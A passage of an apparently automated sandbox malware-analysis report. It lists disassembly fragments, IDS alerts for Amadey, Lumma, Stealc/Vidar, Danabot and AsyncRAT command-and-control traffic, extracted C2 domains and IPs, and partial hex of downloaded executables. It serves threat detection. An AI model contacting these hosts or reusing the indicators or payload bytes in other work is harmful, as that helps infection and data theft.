Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	12_2_00117400
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	12_2_0013B430
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov byte ptr [edi], al	12_2_0013D420
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	12_2_00125C25
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax]	12_2_00127451
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	12_2_0012DC40
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then add ebp, edi	12_2_00118CD0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov byte ptr [edx], cl	12_2_0013DD30
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov word ptr [edi], cx	12_2_00136D70
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	12_2_00125590
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov edx, ecx	12_2_001195A0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax]	12_2_0013E5C2
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	12_2_001265EE
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	12_2_0014EE10
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+79h]	12_2_00135E00
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi+63115D0Dh]	12_2_00135E00
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	12_2_00123E50
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	12_2_00125E42
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_00133E44
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	12_2_0011DE72
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov byte ptr [edi], al	12_2_00118EB0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	12_2_0012DEB0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+48h]	12_2_0012F710
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-000000DEh]	12_2_0012F710
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov byte ptr [edi], al	12_2_0013F799
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov byte ptr [edi], al	12_2_0013DFAF
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 0EF2A4EDh	12_2_001527E0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then mov byte ptr [edi], al	12_2_0013E7EB
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 13884179h	12_2_0011DFEA

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 29MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49973 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49974
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49977 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49979 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49981 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 157.20.182.24:4449 -> 192.168.2.7:49983
Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 157.20.182.24:4449 -> 192.168.2.7:49987
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49985 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048736 - Severity 1 - ET MALWARE LUMAR Stealer Exfiltration M2 : 192.168.2.7:49996 -> 185.244.212.106:2227
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49988 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49994 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2059051 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (soundtappysk .shop) : 192.168.2.7:51323 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059035 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (apporholis .shop) : 192.168.2.7:63154 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059043 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (handscreamny .shop) : 192.168.2.7:49657 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059057 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (versersleep .shop) : 192.168.2.7:59593 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059041 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (femalsabler .shop) : 192.168.2.7:57805 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059039 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crowdwarek .shop) : 192.168.2.7:52521 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059037 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (chipdonkeruz .shop) : 192.168.2.7:49503 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059049 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (robinsharez .shop) : 192.168.2.7:58567 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50003 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50017 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50011 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50023 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50045 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.7:50055 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.7:50058 -> 194.32.76.77:443
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.7:50059 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2058616 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nearycrepso .shop) : 192.168.2.7:58663 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.7:54203 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058632 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wholersorie .shop) : 192.168.2.7:56547 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058618 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (noisycuttej .shop) : 192.168.2.7:52011 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058610 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (framekgirus .shop) : 192.168.2.7:64844 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058606 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cloudewahsj .shop) : 192.168.2.7:58914 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058598 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abruptyopsn .shop) : 192.168.2.7:56691 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058622 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rabidcowse .shop) : 192.168.2.7:56032 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.7:50054
Source: Network traffic	Suricata IDS: 2034465 - Severity 1 - ET MALWARE Danabot Key Exchange Request : 192.168.2.7:50056 -> 45.76.251.57:443
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.7:50054 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2058628 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tirepublicerj .shop) : 192.168.2.7:60067 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:50000 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50001 -> 104.21.14.233:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50001 -> 104.21.14.233:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.7:50010 -> 116.203.166.124:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.7:50019 -> 116.203.166.124:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.166.124:443 -> 192.168.2.7:50019
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:50061 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.166.124:443 -> 192.168.2.7:50015
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50049 -> 172.67.161.160:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50049 -> 172.67.161.160:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: leggelatez.lat
Source: Malware configuration extractor	URLs: finickypwk.lat
Source: Malware configuration extractor	URLs: shoefeatthe.lat
Source: Malware configuration extractor	URLs: kickykiduz.lat
Source: Malware configuration extractor	URLs: miniatureyu.lat
Source: Malware configuration extractor	URLs: savorraiykj.lat
Source: Malware configuration extractor	URLs: bloodyswif.lat
Source: Malware configuration extractor	URLs: washyceehsu.lat
Source: Malware configuration extractor	URLs: plodnittpw.lat
Source: Malware configuration extractor	URLs: 185.244.212.106:2227
Source: Malware configuration extractor	IPs: 185.215.113.43

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: femalsabler.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: robinsharez.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nearycrepso.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pancakedipyps.click replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rabidcowse.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tirepublicerj.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cloudewahsj.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wholersorie.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: versersleep.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: chipdonkeruz.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: framekgirus.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: noisycuttej.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: apporholis.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: soundtappysk.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: crowdwarek.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: abruptyopsn.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: handscreamny.shop replaycode: Name error (3)

Yara detected Generic Downloader

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Source: global traffic	TCP traffic: 192.168.2.7:49983 -> 157.20.182.24:4449
Source: global traffic	TCP traffic: 192.168.2.7:49996 -> 185.244.212.106:2227

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:39:08 GMTContent-Type: application/octet-streamContent-Length: 17585152Last-Modified: Wed, 08 Jan 2025 15:22:24 GMTConnection: keep-aliveETag: "677e9830-10c5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 52 66 00 00 00 00 00 e0 00 02 03 0b 01 03 00 00 06 2c 00 00 7a b0 00 00 00 00 00 00 4c 06 00 00 10 00 00 00 a0 59 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 70 0f 01 00 04 00 00 1c 69 0c 01 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 67 00 dc 03 00 00 00 70 69 00 60 ff a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 67 00 38 4d 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 b0 59 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 65 04 2c 00 00 10 00 00 00 06 2c 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b0 7a 2d 00 00 20 2c 00 00 7c 2d 00 00 0a 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 68 5d 0d 00 00 a0 59 00 00 7a 0a 00 00 86 59 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 dc 03 00 00 00 00 67 00 00 04 00 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 38 4d 02 00 00 10 67 00 00 4e 02 00 00 04 64 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 73 79 6d 74 61 62 00 04 00 00 00 00 60 69 00 00 02 00 00 00 52 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 2e 72 73 72 63 00 00 00 60 ff a5 00 00 70 69 00 00 00 a6 00 00 54 66 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:39:25 GMTContent-Type: application/octet-streamContent-Length: 4948992Last-Modified: Wed, 08 Jan 2025 23:26:18 GMTConnection: keep-aliveETag: "677f099a-4b8400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bc 94 53 b2 f8 f5 3d e1 f8 f5 3d e1 f8 f5 3d e1 8a 74 3e e0 f5 f5 3d e1 8a 74 38 e0 6e f5 3d e1 8a 74 39 e0 eb f5 3d e1 e9 73 3e e0 ea f5 3d e1 e9 73 39 e0 e9 f5 3d e1 e9 73 38 e0 d3 f5 3d e1 8a 74 3c e0 f3 f5 3d e1 f8 f5 3c e1 75 f5 3d e1 7b 73 39 e0 f9 f5 3d e1 7b 73 3f e0 f9 f5 3d e1 52 69 63 68 f8 f5 3d e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 4f 06 7f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 c4 45 00 00 d2 05 00 00 00 00 00 23 a4 22 00 00 10 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 6e 00 00 04 00 00 2b be 4b 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 13 6b 00 78 00 00 00 00 20 6d 00 a8 4d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 6b 00 d0 5c 01 00 50 93 6a 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 92 6a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 6b 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 62 73 73 9a 7d 22 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 e0 2e 74 65 78 74 00 00 00 52 c3 45 00 00 90 22 00 00 c4 45 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b2 6a 02 00 00 60 68 00 00 6c 02 00 00 c8 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 3e 00 00 00 d0 6a 00 00 2a 00 00 00 34 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 01 14 00 00 00 10 6b 00 00 16 00 00 00 5e 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 6d 73 76 63 6a 6d 63 c0 01 00 00 00 30 6b 00 00 02 00 00 00 74 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 0e 01 00 00 00 40 6b 00 00 02 00 00 00 76 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 66 70 74 61 62 6c 65 99 01 00 00 00 50 6b 00 00 02 00 00 00 78 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 11 bb 01 00 00 60 6b 00 00 bc 01 00 00 7a 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 a8 4d 01 00 00 20 6d 00 00 4e 01 00 00 36 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:39:33 GMTContent-Type: application/octet-streamContent-Length: 3136512Last-Modified: Sat, 11 Jan 2025 06:44:12 GMTConnection: keep-aliveETag: "6782133c-2fdc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 69 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 be e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 70 e8 2f 00 4b 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 58 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11 f6 ba 16 d5 04 d7 8d fd 11 ad d7 35 ab 29
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 12 Jan 2025 16:39:40 GMTContent-Type: application/octet-streamContent-Length: 320512Last-Modified: Sun, 12 Jan 2025 13:08:29 GMTConnection: keep-aliveETag: "6783becd-4e400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 cb 85 81 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 28 04 00 00 b8 00 00 00 00 00 00 40 87 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 